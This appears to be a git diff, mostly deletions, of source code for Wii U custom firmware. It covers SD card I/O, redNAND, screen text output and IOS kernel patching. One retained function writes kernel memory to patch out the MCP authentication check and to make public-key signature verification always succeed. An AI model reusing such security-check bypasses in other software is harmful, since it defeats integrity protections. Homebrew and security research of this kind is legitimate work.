svcCustomKernelCommand(KERNEL_GET_CFW_CONFIG, &cfw_config);
|
|
||||||
|
|
||||||
if(cfw_config.redNAND && (check_nand_dump() == 0))
|
|
||||||
{
|
|
||||||
clearScreen(0x000000FF);
|
|
||||||
_printf(20, 20, "welcome to redNAND!");
|
|
||||||
|
|
||||||
dump_nand_complete();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,11 +0,0 @@
|
|||||||
#include "types.h"
|
|
||||||
#include "imports.h"
|
|
||||||
|
|
||||||
void mlc_init(void)
|
|
||||||
{
|
|
||||||
FS_MMC_MLC_STRUCT[0x24/4] = FS_MMC_MLC_STRUCT[0x24/4] | 0x20;
|
|
||||||
FS_MMC_MLC_STRUCT[0x28/4] = FS_MMC_MLC_STRUCT[0x28/4] & (~0x04);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -1,6 +0,0 @@
|
|||||||
#ifndef _MLCIO_H_
|
|
||||||
#define _MLCIO_H_
|
|
||||||
|
|
||||||
void mlc_init(void);
|
|
||||||
|
|
||||||
#endif // _MLCIO_H_
|
|
@ -1,107 +0,0 @@
|
|||||||
#include "types.h"
|
|
||||||
#include "imports.h"
|
|
||||||
|
|
||||||
static int sdcard_access_mutex = 0;
|
|
||||||
static u32 dumpdata_offset = 0;
|
|
||||||
|
|
||||||
typedef struct _sd_command_block_t
|
|
||||||
{
|
|
||||||
u32 cnt;
|
|
||||||
u32 block_size;
|
|
||||||
u32 command_type;
|
|
||||||
void * data_ptr;
|
|
||||||
u64 offset;
|
|
||||||
void *callback;
|
|
||||||
void *callback_arg;
|
|
||||||
int minus_one;
|
|
||||||
} __attribute__((packed)) sd_command_block_t;
|
|
||||||
|
|
||||||
void sdcard_init(void)
|
|
||||||
{
|
|
||||||
// this should run *after* /dev/mmc thread is created
|
|
||||||
// first we create our synchronization stuff
|
|
||||||
sdcard_access_mutex = FS_SVC_CREATEMUTEX(1, 1);
|
|
||||||
|
|
||||||
dumpdata_offset = 0;
|
|
||||||
|
|
||||||
// then we sleep until /dev/mmc is done initializing sdcard (TODO : better synchronization here)
|
|
||||||
FS_SLEEP(1000);
|
|
||||||
|
|
||||||
// finally we set some flags to indicate sdcard is ready for use
|
|
||||||
FS_MMC_SDCARD_STRUCT[0x24/4] = FS_MMC_SDCARD_STRUCT[0x24/4] | 0x20;
|
|
||||||
FS_MMC_SDCARD_STRUCT[0x28/4] = FS_MMC_SDCARD_STRUCT[0x28/4] & (~0x04);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void sdcard_readwrite_callback(void *priv_data, int result)
|
|
||||||
{
|
|
||||||
int *private_data = (int*)priv_data;
|
|
||||||
|
|
||||||
private_data[1] = result;
|
|
||||||
|
|
||||||
FS_SVC_RELEASEMUTEX(private_data[0]);
|
|
||||||
}
|
|
||||||
|
|
||||||
void sdcard_lock_mutex(void)
|
|
||||||
{
|
|
||||||
FS_SVC_ACQUIREMUTEX(sdcard_access_mutex, 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
void sdcard_unlock_mutex(void)
|
|
||||||
{
|
|
||||||
FS_SVC_RELEASEMUTEX(sdcard_access_mutex);
|
|
||||||
}
|
|
||||||
|
|
||||||
int sdcard_readwrite(int is_read, void *data, u32 cnt, u32 block_size, u32 offset_blocks, int * out_callback_arg, int device_id)
|
|
||||||
{
|
|
||||||
// first of all, grab sdcard mutex
|
|
||||||
sdcard_lock_mutex();
|
|
||||||
|
|
||||||
//also create a mutex for synchronization with end of operation...
|
|
||||||
int sync_mutex = FS_SVC_CREATEMUTEX(1, 1);
|
|
||||||
|
|
||||||
// ...and acquire it
|
|
||||||
FS_SVC_ACQUIREMUTEX(sync_mutex, 0);
|
|
||||||
|
|
||||||
// block_size needs to be equal to sector_size (0x200)
|
|
||||||
while(block_size > 0x200)
|
|
||||||
{
|
|
||||||
block_size >>= 1;
|
|
||||||
cnt <<= 1;
|
|
||||||
offset_blocks <<= 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// build rw command paramstruct
|
|
||||||
sd_command_block_t command;
|
|
||||||
command.cnt = cnt;
|
|
||||||
command.block_size = block_size;
|
|
||||||
command.command_type = (is_read ? 0x03 : 0x00);
|
|
||||||
command.data_ptr = data;
|
|
||||||
command.offset = offset_blocks;
|
|
||||||
command.callback = 0x00;
|
|
||||||
command.callback_arg = 0x00;
|
|
||||||
command.minus_one = (u32)-1;
|
|
||||||
|
|
||||||
// setup parameters
|
|
||||||
int private_data[2];
|
|
||||||
private_data[0] = sync_mutex;
|
|
||||||
private_data[1] = 0;
|
|
||||||
|
|
||||||
// call readwrite function
|
|
||||||
int result = FS_SDIO_DOREADWRITECOMMAND(device_id, &command, offset_blocks, sdcard_readwrite_callback, (void*)private_data);
|
|
||||||
if(result == 0)
|
|
||||||
{
|
|
||||||
// wait for callback to give the go-ahead
|
|
||||||
FS_SVC_ACQUIREMUTEX(sync_mutex, 0);
|
|
||||||
|
|
||||||
if(out_callback_arg)
|
|
||||||
{
|
|
||||||
*out_callback_arg = private_data[1];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// finally, release sdcard mutexes
|
|
||||||
FS_SVC_DESTROYMUTEX(sync_mutex);
|
|
||||||
sdcard_unlock_mutex();
|
|
||||||
|
|
||||||
return result;
|
|
||||||
}
|
|
@ -1,12 +0,0 @@
|
|||||||
#ifndef _SDIO_H_
|
|
||||||
#define _SDIO_H_
|
|
||||||
|
|
||||||
#define SDIO_WRITE 0
|
|
||||||
#define SDIO_READ 1
|
|
||||||
|
|
||||||
void sdcard_init(void);
|
|
||||||
void sdcard_lock_mutex(void);
|
|
||||||
void sdcard_unlock_mutex(void);
|
|
||||||
int sdcard_readwrite(int is_read, void *data, u32 cnt, u32 block_size, u32 offset_blocks, int * out_callback_arg, int device_id);
|
|
||||||
|
|
||||||
#endif // _SDIO_H_
|
|
@ -1,29 +0,0 @@
|
|||||||
#ifndef SVC_H
|
|
||||||
#define SVC_H
|
|
||||||
|
|
||||||
#include "types.h"
|
|
||||||
|
|
||||||
#define SHUTDOWN_TYPE_POWER_OFF 0
|
|
||||||
#define SHUTDOWN_TYPE_REBOOT 1
|
|
||||||
|
|
||||||
typedef struct
|
|
||||||
{
|
|
||||||
void* ptr;
|
|
||||||
u32 len;
|
|
||||||
u32 unk;
|
|
||||||
}iovec_s;
|
|
||||||
|
|
||||||
void* svcAlloc(u32 heapid, u32 size);
|
|
||||||
void* svcAllocAlign(u32 heapid, u32 size, u32 align);
|
|
||||||
void svcFree(u32 heapid, void* ptr);
|
|
||||||
int svcOpen(char* name, int mode);
|
|
||||||
int svcClose(int fd);
|
|
||||||
int svcIoctl(int fd, u32 request, void* input_buffer, u32 input_buffer_len, void* output_buffer, u32 output_buffer_len);
|
|
||||||
int svcIoctlv(int fd, u32 request, u32 vector_count_in, u32 vector_count_out, iovec_s* vector);
|
|
||||||
int svcInvalidateDCache(void* address, u32 size);
|
|
||||||
int svcFlushDCache(void* address, u32 size);
|
|
||||||
|
|
||||||
void svcShutdown(int shutdown_type);
|
|
||||||
int svcCustomKernelCommand(u32 command, ...);
|
|
||||||
|
|
||||||
#endif
|
|
@ -1,68 +0,0 @@
|
|||||||
.arm
|
|
||||||
.align 4
|
|
||||||
|
|
||||||
.global svcAlloc
|
|
||||||
.type svcAlloc, %function
|
|
||||||
svcAlloc:
|
|
||||||
.word 0xE7F027F0
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global svcAllocAlign
|
|
||||||
.type svcAllocAlign, %function
|
|
||||||
svcAllocAlign:
|
|
||||||
.word 0xE7F028F0
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global svcFree
|
|
||||||
.type svcFree, %function
|
|
||||||
svcFree:
|
|
||||||
.word 0xE7F029F0
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global svcOpen
|
|
||||||
.type svcOpen, %function
|
|
||||||
svcOpen:
|
|
||||||
.word 0xE7F033F0
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global svcClose
|
|
||||||
.type svcClose, %function
|
|
||||||
svcClose:
|
|
||||||
.word 0xE7F034F0
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global svcIoctl
|
|
||||||
.type svcIoctl, %function
|
|
||||||
svcIoctl:
|
|
||||||
.word 0xE7F038F0
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global svcIoctlv
|
|
||||||
.type svcIoctlv, %function
|
|
||||||
svcIoctlv:
|
|
||||||
.word 0xE7F039F0
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global svcInvalidateDCache
|
|
||||||
.type svcInvalidateDCache, %function
|
|
||||||
svcInvalidateDCache:
|
|
||||||
.word 0xE7F051F0
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global svcFlushDCache
|
|
||||||
.type svcFlushDCache, %function
|
|
||||||
svcFlushDCache:
|
|
||||||
.word 0xE7F052F0
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global svcShutdown
|
|
||||||
.type svcShutdown, %function
|
|
||||||
svcShutdown:
|
|
||||||
.word 0xE7F072F0
|
|
||||||
bx lr
|
|
||||||
|
|
||||||
.global svcCustomKernelCommand
|
|
||||||
.type svcCustomKernelCommand, %function
|
|
||||||
svcCustomKernelCommand:
|
|
||||||
.word 0xE7F081F0
|
|
||||||
bx lr
|
|
@ -1,90 +0,0 @@
|
|||||||
#include <stdlib.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <stdarg.h>
|
|
||||||
#include "imports.h"
|
|
||||||
#include "types.h"
|
|
||||||
#include "font_bin.h"
|
|
||||||
|
|
||||||
#define FRAMEBUFFER_ADDRESS (0x14000000+0x38C0000)
|
|
||||||
#define FRAMEBUFFER_STRIDE (0xE00)
|
|
||||||
#define FRAMEBUFFER_STRIDE_WORDS (FRAMEBUFFER_STRIDE >> 2)
|
|
||||||
|
|
||||||
#define CHAR_SIZE_X (8)
|
|
||||||
#define CHAR_SIZE_Y (8)
|
|
||||||
|
|
||||||
u32* const framebuffer = (u32*)FRAMEBUFFER_ADDRESS;
|
|
||||||
|
|
||||||
void clearScreen(u32 color)
|
|
||||||
{
|
|
||||||
int i;
|
|
||||||
for(i = 0; i < ((FRAMEBUFFER_STRIDE * 504)/4); i++)
|
|
||||||
{
|
|
||||||
framebuffer[i] = color;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void clearLine(int y, u32 color)
|
|
||||||
{
|
|
||||||
u32* fb = &framebuffer[y * FRAMEBUFFER_STRIDE_WORDS];
|
|
||||||
u32* fb_end = &framebuffer[(y+CHAR_SIZE_Y) * FRAMEBUFFER_STRIDE_WORDS];
|
|
||||||
|
|
||||||
while(fb < fb_end)
|
|
||||||
{
|
|
||||||
*fb = color;
|
|
||||||
fb++;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void drawCharacter(char c, int x, int y)
|
|
||||||
{
|
|
||||||
if(c < 32)return;
|
|
||||||
c -= 32;
|
|
||||||
u8* charData = (u8*)&font_bin[(CHAR_SIZE_X * CHAR_SIZE_Y * c) / 8];
|
|
||||||
u32* fb = &framebuffer[x + y * FRAMEBUFFER_STRIDE_WORDS];
|
|
||||||
int i, j;
|
|
||||||
for(i = 0; i < CHAR_SIZE_Y; i++)
|
|
||||||
{
|
|
||||||
u8 v= *(charData++);
|
|
||||||
for(j = 0; j < CHAR_SIZE_X; j++)
|
|
||||||
{
|
|
||||||
if(v & 1) *fb = 0x00000000;
|
|
||||||
else *fb = 0xFFFFFFFF;
|
|
||||||
v >>= 1;
|
|
||||||
fb++;
|
|
||||||
}
|
|
||||||
fb += FRAMEBUFFER_STRIDE_WORDS - CHAR_SIZE_X;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void drawString(char* str, int x, int y)
|
|
||||||
{
|
|
||||||
if(!str) return;
|
|
||||||
int k;
|
|
||||||
int dx = 0, dy = 0;
|
|
||||||
for(k = 0; str[k]; k++)
|
|
||||||
{
|
|
||||||
if(str[k] >= 32 && str[k] < 128) drawCharacter(str[k], x + dx, y + dy);
|
|
||||||
|
|
||||||
dx += 8;
|
|
||||||
|
|
||||||
if(str[k] == '\n')
|
|
||||||
{
|
|
||||||
dx = 0;
|
|
||||||
dy -= 8;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void _printf(int x, int y, const char *format, ...)
|
|
||||||
{
|
|
||||||
va_list args;
|
|
||||||
va_start(args, format);
|
|
||||||
|
|
||||||
char buffer[0x100];
|
|
||||||
|
|
||||||
FS_VSNPRINTF(buffer, sizeof(buffer), format, args);
|
|
||||||
drawString(buffer, x, y);
|
|
||||||
|
|
||||||
va_end(args);
|
|
||||||
}
|
|
@ -1,11 +0,0 @@
|
|||||||
#ifndef TEXT_H
|
|
||||||
#define TEXT_H
|
|
||||||
|
|
||||||
#include "types.h"
|
|
||||||
|
|
||||||
void clearScreen(u32 color);
|
|
||||||
void clearLine(int y, u32 color);
|
|
||||||
void drawString(char* str, int x, int y);
|
|
||||||
void _printf(int x, int y, const char *format, ...);
|
|
||||||
|
|
||||||
#endif
|
|
@ -1,29 +0,0 @@
|
|||||||
#ifndef TYPES_H
|
|
||||||
#define TYPES_H
|
|
||||||
|
|
||||||
#include <stdint.h>
|
|
||||||
#include <stdbool.h>
|
|
||||||
|
|
||||||
#define U64_MAX UINT64_MAX
|
|
||||||
|
|
||||||
typedef uint8_t u8;
|
|
||||||
typedef uint16_t u16;
|
|
||||||
typedef uint32_t u32;
|
|
||||||
typedef uint64_t u64;
|
|
||||||
|
|
||||||
typedef int8_t s8;
|
|
||||||
typedef int16_t s16;
|
|
||||||
typedef int32_t s32;
|
|
||||||
typedef int64_t s64;
|
|
||||||
|
|
||||||
typedef volatile u8 vu8;
|
|
||||||
typedef volatile u16 vu16;
|
|
||||||
typedef volatile u32 vu32;
|
|
||||||
typedef volatile u64 vu64;
|
|
||||||
|
|
||||||
typedef volatile s8 vs8;
|
|
||||||
typedef volatile s16 vs16;
|
|
||||||
typedef volatile s32 vs32;
|
|
||||||
typedef volatile s64 vs64;
|
|
||||||
|
|
||||||
#endif
|
|
@ -1,31 +0,0 @@
|
|||||||
/***************************************************************************
|
|
||||||
* Copyright (C) 2016
|
|
||||||
* by Dimok
|
|
||||||
*
|
|
||||||
* This software is provided 'as-is', without any express or implied
|
|
||||||
* warranty. In no event will the authors be held liable for any
|
|
||||||
* damages arising from the use of this software.
|
|
||||||
*
|
|
||||||
* Permission is granted to anyone to use this software for any
|
|
||||||
* purpose, including commercial applications, and to alter it and
|
|
||||||
* redistribute it freely, subject to the following restrictions:
|
|
||||||
*
|
|
||||||
* 1. The origin of this software must not be misrepresented; you
|
|
||||||
* must not claim that you wrote the original software. If you use
|
|
||||||
* this software in a product, an acknowledgment in the product
|
|
||||||
* documentation would be appreciated but is not required.
|
|
||||||
*
|
|
||||||
* 2. Altered source versions must be plainly marked as such, and
|
|
||||||
* must not be misrepresented as being the original software.
|
|
||||||
*
|
|
||||||
* 3. This notice may not be removed or altered from any source
|
|
||||||
* distribution.
|
|
||||||
***************************************************************************/
|
|
||||||
#ifndef __CONFIG_H_
|
|
||||||
#define __CONFIG_H_
|
|
||||||
|
|
||||||
#include "../../common/config_types.h"
|
|
||||||
|
|
||||||
extern cfw_config_t cfw_config;
|
|
||||||
|
|
||||||
#endif
|
|
@ -21,7 +21,6 @@
|
|||||||
* 3. This notice may not be removed or altered from any source
|
* 3. This notice may not be removed or altered from any source
|
||||||
* distribution.
|
* distribution.
|
||||||
***************************************************************************/
|
***************************************************************************/
|
||||||
#include "config.h"
|
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
#include "types.h"
|
#include "types.h"
|
||||||
#include "elf_patcher.h"
|
#include "elf_patcher.h"
|
||||||
@ -39,8 +38,7 @@ typedef struct
|
|||||||
u32 cached;
|
u32 cached;
|
||||||
} ios_map_shared_info_t;
|
} ios_map_shared_info_t;
|
||||||
|
|
||||||
void instant_patches_setup(void)
|
void instant_patches_setup(void){
|
||||||
{
|
|
||||||
// apply IOS ELF launch hook
|
// apply IOS ELF launch hook
|
||||||
*(volatile u32*)0x0812A120 = ARM_BL(0x0812A120, kernel_launch_ios);
|
*(volatile u32*)0x0812A120 = ARM_BL(0x0812A120, kernel_launch_ios);
|
||||||
|
|
||||||
@ -48,55 +46,53 @@ void instant_patches_setup(void)
|
|||||||
*(volatile u32*)0x1070FAE8 = 0x05812070;
|
*(volatile u32*)0x1070FAE8 = 0x05812070;
|
||||||
*(volatile u32*)0x1070FAEC = 0xEAFFFFF9;
|
*(volatile u32*)0x1070FAEC = 0xEAFFFFF9;
|
||||||
|
|
||||||
if(cfw_config.noIosReload)
|
int (*_iosMapSharedUserExecution)(void *descr) = (void*)0x08124F88;
|
||||||
{
|
|
||||||
int (*_iosMapSharedUserExecution)(void *descr) = (void*)0x08124F88;
|
|
||||||
|
|
||||||
// patch kernel dev node registration
|
// patch kernel dev node registration
|
||||||
*(volatile u32*)0x081430B4 = 1;
|
*(volatile u32*)0x081430B4 = 1;
|
||||||
|
|
||||||
// fix 10 minute timeout that crashes MCP after 10 minutes of booting
|
// fix 10 minute timeout that crashes MCP after 10 minutes of booting
|
||||||
*(volatile u32*)(0x05022474 - 0x05000000 + 0x081C0000) = 0xFFFFFFFF; // NEW_TIMEOUT
|
*(volatile u32*)(0x05022474 - 0x05000000 + 0x081C0000) = 0xFFFFFFFF; // NEW_TIMEOUT
|
||||||
|
|
||||||
// patch cached cert check
|
// patch cached cert check
|
||||||
// start our MCP thread directly on first title change
|
// start our MCP thread directly on first title change
|
||||||
kernel_memset((void*)(0x050BD000 - 0x05000000 + 0x081C0000), 0, 0x3000);
|
kernel_memset((void*)(0x050BD000 - 0x05000000 + 0x081C0000), 0, 0x3000);
|
||||||
*(volatile u32*)(0x05054D6C - 0x05000000 + 0x081C0000) = ARM_B(0x05054D6C, _startMainThread);
|
*(volatile u32*)(0x05054D6C - 0x05000000 + 0x081C0000) = ARM_B(0x05054D6C, _startMainThread);
|
||||||
|
|
||||||
// patch MCP authentication check
|
// patch MCP authentication check
|
||||||
*(volatile u32*)(0x05014CAC - 0x05000000 + 0x081C0000) = 0x20004770; // mov r0, #0; bx lr
|
*(volatile u32*)(0x05014CAC - 0x05000000 + 0x081C0000) = 0x20004770; // mov r0, #0; bx lr
|
||||||
|
|
||||||
// patch IOSC_VerifyPubkeySign to always succeed
|
// patch IOSC_VerifyPubkeySign to always succeed
|
||||||
*(volatile u32*)(0x05052C44 - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, #0
|
*(volatile u32*)(0x05052C44 - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, #0
|
||||||
*(volatile u32*)(0x05052C48 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr
|
*(volatile u32*)(0x05052C48 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr
|
||||||
|
|
||||||
// allow custom bootLogoTex and bootMovie.h264
|
// allow custom bootLogoTex and bootMovie.h264
|
||||||
*(volatile u32*)(0xE0030D68 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
|
*(volatile u32*)(0xE0030D68 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
|
||||||
*(volatile u32*)(0xE0030D34 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
|
*(volatile u32*)(0xE0030D34 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
|
||||||
|
|
||||||
// allow any region title launch
|
// allow any region title launch
|
||||||
*(volatile u32*)(0xE0030498 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
|
*(volatile u32*)(0xE0030498 - 0xE0000000 + 0x12900000) = 0xE3A00000; // mov r0, #0
|
||||||
|
|
||||||
// set zero to start thread directly on first title change
|
// set zero to start thread directly on first title change
|
||||||
*(volatile u32*)(0x050BC580 - 0x05000000 + 0x081C0000) = 0;
|
*(volatile u32*)(0x050BC580 - 0x05000000 + 0x081C0000) = 0;
|
||||||
// down display launch image at this state
|
|
||||||
*(volatile u32*)(_text_start - 4 - 0x05100000 + 0x13D80000) = 0;
|
|
||||||
|
|
||||||
ios_map_shared_info_t map_info;
|
*(volatile u32*)(0x050254D6 - 0x05000000 + 0x081C0000) = (volatile u32*) THUMB_BL(0x050254D6, MCP_LoadFile_patch);
|
||||||
map_info.paddr = 0x050BD000 - 0x05000000 + 0x081C0000;
|
*(volatile u32*)(0x05025242 - 0x05000000 + 0x081C0000) = (volatile u32*) THUMB_BL(0x05025242, MCP_ioctl100_patch);
|
||||||
map_info.vaddr = 0x050BD000;
|
|
||||||
map_info.size = 0x3000;
|
|
||||||
map_info.domain = 1; // MCP
|
|
||||||
map_info.type = 3; // 0 = undefined, 1 = kernel only, 2 = read only, 3 = read/write
|
|
||||||
map_info.cached = 0xFFFFFFFF;
|
|
||||||
_iosMapSharedUserExecution(&map_info); // actually a bss section but oh well it will have read/write
|
|
||||||
|
|
||||||
map_info.paddr = 0x05116000 - 0x05100000 + 0x13D80000;
|
ios_map_shared_info_t map_info;
|
||||||
map_info.vaddr = 0x05116000;
|
map_info.paddr = 0x050BD000 - 0x05000000 + 0x081C0000;
|
||||||
map_info.size = 0x4000;
|
map_info.vaddr = 0x050BD000;
|
||||||
map_info.domain = 1; // MCP
|
map_info.size = 0x3000;
|
||||||
map_info.type = 3; // 0 = undefined, 1 = kernel only, 2 = read only, 3 = read write
|
map_info.domain = 1; // MCP
|
||||||
map_info.cached = 0xFFFFFFFF;
|
map_info.type = 3; // 0 = undefined, 1 = kernel only, 2 = read only, 3 = read/write
|
||||||
_iosMapSharedUserExecution(&map_info);
|
map_info.cached = 0xFFFFFFFF;
|
||||||
}
|
_iosMapSharedUserExecution(&map_info); // actually a bss section but oh well it will have read/write
|
||||||
|
|
||||||
|
map_info.paddr = 0x05116000 - 0x05100000 + 0x13D80000;
|
||||||
|
map_info.vaddr = 0x05116000;
|
||||||
|
map_info.size = 0x4000;
|
||||||
|
map_info.domain = 1; // MCP
|
||||||
|
map_info.type = 3; // 0 = undefined, 1 = kernel only, 2 = read only, 3 = read write
|
||||||
|
map_info.cached = 0xFFFFFFFF;
|
||||||
|
_iosMapSharedUserExecution(&map_info);
|
||||||
}
|
}
|
||||||
|
@ -1,59 +0,0 @@
|
|||||||
/***************************************************************************
|
|
||||||
* Copyright (C) 2016
|
|
||||||
* by Dimok
|
|
||||||
*
|
|
||||||
* This software is provided 'as-is', without any express or implied
|
|
||||||
* warranty. In no event will the authors be held liable for any
|
|
||||||
* damages arising from the use of this software.
|
|
||||||
*
|
|
||||||
* Permission is granted to anyone to use this software for any
|
|
||||||
* purpose, including commercial applications, and to alter it and
|
|
||||||
* redistribute it freely, subject to the following restrictions:
|
|
||||||
*
|
|
||||||
* 1. The origin of this software must not be misrepresented; you
|
|
||||||
* must not claim that you wrote the original software. If you use
|
|
||||||
* this software in a product, an acknowledgment in the product
|
|
||||||
* documentation would be appreciated but is not required.
|
|
||||||
*
|
|
||||||
* 2. Altered source versions must be plainly marked as such, and
|
|
||||||
* must not be misrepresented as being the original software.
|
|
||||||
*
|
|
||||||
* 3. This notice may not be removed or altered from any source
|
|
||||||
* distribution.
|
|
||||||
***************************************************************************/
|
|
||||||
#include "types.h"
|
|
||||||
#include "elf_patcher.h"
|
|
||||||
#include "config.h"
|
|
||||||
#include "ios_acp_patches.h"
|
|
||||||
#include "../../ios_acp/ios_acp.bin.h"
|
|
||||||
#include "../../ios_acp/ios_acp_syms.h"
|
|
||||||
|
|
||||||
#define ACP_CODE_BASE_PHYS_ADDR (-0xE0000000 + 0x12900000)
|
|
||||||
|
|
||||||
extern const patch_table_t acp_patches_table[];
|
|
||||||
extern const patch_table_t acp_patches_table_end[];
|
|
||||||
|
|
||||||
u32 acp_get_phys_code_base(void)
|
|
||||||
{
|
|
||||||
return _text_start + ACP_CODE_BASE_PHYS_ADDR;
|
|
||||||
}
|
|
||||||
|
|
||||||
void acp_run_patches(u32 ios_elf_start)
|
|
||||||
{
|
|
||||||
section_write(ios_elf_start, _text_start, (void*)acp_get_phys_code_base(), _text_end - _text_start);
|
|
||||||
|
|
||||||
// hook acp fsa raw read function
|
|
||||||
section_write_word(ios_elf_start, 0xE00601F0, ARM_BL(0xE00601F0, ACP_FSARawRead_hook));
|
|
||||||
|
|
||||||
// patch logs to output more info
|
|
||||||
section_write_word(ios_elf_start, 0xE009801C, ARM_B(0xE009801C, 0xE00C4D54));
|
|
||||||
section_write_word(ios_elf_start, 0xE00D87B0, ARM_B(0xE00D87B0, 0xE00C4D54));
|
|
||||||
section_write_word(ios_elf_start, 0xE00D6DE8, ARM_B(0xE00D6DE8, 0xE00C4D54));
|
|
||||||
section_write_word(ios_elf_start, 0xE009A0C4, 0xE3A00000);
|
|
||||||
|
|
||||||
// patch acp remove quota to always try recursive directory remove after remove quota
|
|
||||||
section_write_word(ios_elf_start, 0xE002E170, 0xEA000021);
|
|
||||||
|
|
||||||
u32 patch_count = (u32)(((u8*)acp_patches_table_end) - ((u8*)acp_patches_table)) / sizeof(patch_table_t);
|
|
||||||
patch_table_entries(ios_elf_start, acp_patches_table, patch_count);
|
|
||||||
}
|
|
@ -1,30 +0,0 @@
|
|||||||
/***************************************************************************
|
|
||||||
* Copyright (C) 2016
|
|
||||||
* by Dimok
|
|
||||||
*
|
|
||||||
* This software is provided 'as-is', without any express or implied
|
|
||||||
* warranty. In no event will the authors be held liable for any
|
|
||||||
* damages arising from the use of this software.
|
|
||||||
*
|
|
||||||
* Permission is granted to anyone to use this software for any
|
|
||||||
* purpose, including commercial applications, and to alter it and
|
|
||||||
* redistribute it freely, subject to the following restrictions:
|
|
||||||
*
|
|
||||||
* 1. The origin of this software must not be misrepresented; you
|
|
||||||
* must not claim that you wrote the original software. If you use
|
|
||||||
* this software in a product, an acknowledgment in the product
|
|
||||||
* documentation would be appreciated but is not required.
|
|
||||||
*
|
|
||||||
* 2. Altered source versions must be plainly marked as such, and
|
|
||||||
* must not be misrepresented as being the original software.
|
|
||||||
*
|
|
||||||
* 3. This notice may not be removed or altered from any source
|
|
||||||
* distribution.
|
|
||||||
***************************************************************************/
|
|
||||||
#ifndef _ACP_PATCHES_H_
|
|
||||||
#define _ACP_PATCHES_H_
|
|
||||||
|
|
||||||
u32 acp_get_phys_code_base(void);
|
|
||||||
void acp_run_patches(u32 ios_elf_start);
|
|
||||||
|
|
||||||
#endif
|
|
@ -1,11 +0,0 @@
|
|||||||
.arm
|
|
||||||
|
|
||||||
patch_wfs_partition_check:
|
|
||||||
mov r0, #0
|
|
||||||
|
|
||||||
.globl acp_patches_table, acp_patches_table_end
|
|
||||||
acp_patches_table:
|
|
||||||
# origin data size
|
|
||||||
# .word 0xE00605D0, patch_wfs_partition_check, 4
|
|
||||||
acp_patches_table_end:
|
|
||||||
|
|
@ -1,79 +0,0 @@
|
|||||||
/***************************************************************************
|
|
||||||
* Copyright (C) 2016
|
|
||||||
* by Dimok
|
|
||||||
*
|
|
||||||
* This software is provided 'as-is', without any express or implied
|
|
||||||
* warranty. In no event will the authors be held liable for any
|
|
||||||
* damages arising from the use of this software.
|
|
||||||
*
|
|
||||||
* Permission is granted to anyone to use this software for any
|
|
||||||
* purpose, including commercial applications, and to alter it and
|
|
||||||
* redistribute it freely, subject to the following restrictions:
|
|
||||||
*
|
|
||||||
* 1. The origin of this software must not be misrepresented; you
|
|
||||||
* must not claim that you wrote the original software. If you use
|
|
||||||
* this software in a product, an acknowledgment in the product
|
|
||||||
* documentation would be appreciated but is not required.
|
|
||||||
*
|
|
||||||
* 2. Altered source versions must be plainly marked as such, and
|
|
||||||
* must not be misrepresented as being the original software.
|
|
||||||
*
|
|
||||||
* 3. This notice may not be removed or altered from any source
|
|
||||||
* distribution.
|
|
||||||
***************************************************************************/
|
|
||||||
#include "types.h"
|
|
||||||
#include "elf_patcher.h"
|
|
||||||
#include "ios_bsp_patches.h"
|
|
||||||
#include "../../ios_bsp/ios_bsp_syms.h"
|
|
||||||
#include "fsa.h"
|
|
||||||
#include "utils.h"
|
|
||||||
|
|
||||||
#define BSP_PHYS_DIFF (-0xE6000000 + 0x13CC0000)
|
|
||||||
|
|
||||||
extern const patch_table_t fs_patches_table[];
|
|
||||||
extern const patch_table_t fs_patches_table_end[];
|
|
||||||
|
|
||||||
u32 bsp_get_phys_code_base(void)
|
|
||||||
{
|
|
||||||
return _text_start + BSP_PHYS_DIFF;
|
|
||||||
}
|
|
||||||
|
|
||||||
int bsp_init_seeprom_buffer(u32 baseSector, int dumpFound)
|
|
||||||
{
|
|
||||||
void *tmpBuffer = (void*)0x00140000;
|
|
||||||
|
|
||||||
if(dumpFound)
|
|
||||||
{
|
|
||||||
int res = FSA_SDReadRawSectors(tmpBuffer, baseSector, 1);
|
|
||||||
if(res < 0)
|
|
||||||
return res;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
//! just clear out the seeprom and it will be re-initialized on BSP module
|
|
||||||
//! TODO: maybe read in the seeprom here from SPI or BSP module
|
|
||||||
kernel_memset(tmpBuffer, 0, 0x200);
|
|
||||||
}
|
|
||||||
|
|
||||||
int level = disable_interrupts();
|
|
||||||
unsigned int control_register = disable_mmu();
|
|
||||||
|
|
||||||
kernel_memcpy((void*)(_seeprom_buffer_start - 0xE6047000 + 0x13D07000), tmpBuffer, 0x200);
|
|
||||||
|
|
||||||
restore_mmu(control_register);
|
|
||||||
enable_interrupts(level);
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
